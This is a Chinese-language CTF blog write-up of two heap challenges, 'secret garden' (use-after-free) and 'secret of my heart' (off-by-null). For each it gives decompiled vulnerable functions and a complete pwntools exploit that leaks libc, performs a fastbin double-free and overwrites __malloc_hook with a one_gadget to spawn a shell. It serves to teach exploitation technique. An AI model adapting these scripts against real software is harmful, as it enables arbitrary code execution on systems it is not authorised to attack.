<
两道比较简单的堆题目
>
上一篇

noleak
下一篇

RCTF2018部分wp

secret garden

很水的一道堆题 没啥好说的,主要就是uaf

    int sub_DD0()
    {
      int result; // eax
      _DWORD *v1; // rax
      unsigned int v2; // [rsp+4h] [rbp-14h]
      unsigned __int64 v3; // [rsp+8h] [rbp-10h]
    
      v3 = __readfsqword(0x28u);
      if ( !flower_count )
        return puts("No flower in the garden");
      __printf_chk(1LL, "Which flower do you want to remove from the garden:");
      __isoc99_scanf("%d", &v2);
      if ( v2 <= 0x63 && (v1 = (_DWORD *)heaplst[v2]) != 0LL )
      {
        *v1 = 0;
        free(*(void **)(heaplst[v2] + 8LL));
        result = puts("Successful");
      }
      else
      {
        puts("Invalid choice");
        result = 0;
      }
      return result;
    }

可以看到指针没清零 注意的一点是他每次会申请两个堆块 所以要注意一下堆风水 剩下的就是很基本的fastbin attack了

    from pwn import *
    context.log_level = 'debug'
    elf = ELF('secretgarden')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    io = process('./secretgarden')
    
    def add(l,name,color):
    	io.recvuntil(':')
    	io.sendline('1')
    	io.recvuntil('name :')
    	io.sendline(str(l))
    	io.recvuntil('name of flower :')
    	io.sendline(name)
    	io.recvuntil('color of the flower :')
    	io.sendline(color)
    def visit():
    	io.recvuntil(':')
    	io.sendline('2')
    def delete_one(idx):
    	io.recvuntil(':')
    	io.sendline('3')
    	io.recvuntil('garden:')
    	io.sendline(str(idx))
    def delete_all():
    	io.recvuntil(':')
    	io.sendline('4')
    
    add(0xb0,'a'*0xb0,'green')#0
    add(0x80,'a'*0x80,'red')#1
    delete_one(0)
    add(0x80,'a'*7,'green')#2
    
    visit()
    
    io.recvuntil('Name of the flower[2] :aaaaaaa\n')
    leak = u64(io.recvline()[0:6].ljust(8,'\x00'))
    log.success(hex(leak))
    libc_base = leak - 88 -0x10 - libc.symbols['__malloc_hook']
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    one = 0xe9415 + libc_base
    add(0x60,'a'*0x40,'purple')#3
    add(0x60,'b'*0x40,'black')#4
    
    delete_one(3)
    delete_one(4)
    delete_one(3)
    add(0x60,p64(malloc_hook - 0x23),'white')
    add(0x60,'b'*0x40,'black')
    add(0x60,'b'*0x40,'black')
    add(0x60,'a'*0x3+p64(one),'a')
    log.success(hex(one))
    gdb.attach(io)
    delete_one(1)
    delete_one(1)
    io.interactive()

seceret of my heart

本来以为能在这道题里面找到什么骚操作 想多了,也是一道水题 漏洞就是个offbynull

    _BYTE *__fastcall add_imfo(__int64 *ptr, __int64 len)
    {
      _BYTE *result; // rax
      size_t size; // [rsp+0h] [rbp-20h]
    
      *ptr = len;
      printf("Name of heart :", len);
      get_str(ptr + 1, 0x20u);
      ptr[5] = malloc(size);
      if ( !ptr[5] )
      {
        puts("Allocate Error !");
        exit(0);
      }
      printf("secret of my heart :", 32LL);
      result = (ptr[5] + get_str(ptr[5], size));
      *result = 0;                                  // offbynull
                                                    // 
      return result;
    }

这里就是一个offbynull的利用方式,也是个套路 主要思想就是通过溢出的0字节把size缩小,然后下一次free的时候就不会改变下一个堆块的use位 剩下的没啥好说的,构造uaf,fastbinattack

    from pwn import *
    context.log_level = 'debug'
    io = process('./secret_of_my_heart')
    elf = ELF('secret_of_my_heart')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    def add(size,name,content):
    	io.recvuntil(':')
    	io.sendline('1')
    	io.recvuntil('Size of heart :')
    	io.sendline(str(size))
    	io.recvuntil('Name of heart :')
    	io.sendline(name)
    	io.recvuntil('secret of my heart :')
    	io.sendline(content)
    def delete(idx):
    	io.recvuntil(':')
    	io.sendline('3')
    	io.recvuntil('Index :')
    	io.sendline(str(idx))
    def show(idx):
    	io.recvuntil(':')
    	io.sendline('2')
    	io.recvuntil('Index :')
    	io.sendline(str(idx))
    
    add(0x88,'a','A'*0x80)#0
    add(0x100,'b','B'*0x100)#1
    add(0x80,'c','C'*0x80)#2
    add(0x60,'d','D'*0x60)#3
    delete(1)
    delete(0)
    add(0x88,'a','A'*0x88)#0
    add(0x80,'e','E'*0x80)#1
    add(0x60,'f','F'*0x60)#4
    delete(1)
    delete(2)
    add(0x80,'b','B'*0x80)#1
    show(4)
    ''''''
    io.recvuntil('Secret : ')
    leak = u64(io.recvline()[:6].ljust(8,'\x00'))
    libc_base = leak - 88 - 0x10 - libc.symbols['__malloc_hook']
    
    log.success('libc_base :'+hex(libc_base))
    one = 0xe9415 + libc_base
    mlh = libc_base + libc.symbols['__malloc_hook']
    log.success('one :'+hex(one))
    log.success('mlh :'+hex(mlh))
    
    add(0x60,'h','H'*0x5f)#2 == 4
    add(0x60,'g','G'*0x5f)#5
    delete(4)
    delete(3)
    delete(2)
    add(0x60,'h',p64(mlh - 0x23) + 'AAAA')#2
    add(0x60,'z','z')#3
    add(0x60,'y','y')#4
    add(0x60,'x','x'*3 + p64(one))
    gdb.attach(io)
    raw_input()
    delete(4)
    delete(2)
    
    io.interactive()
Top
Foot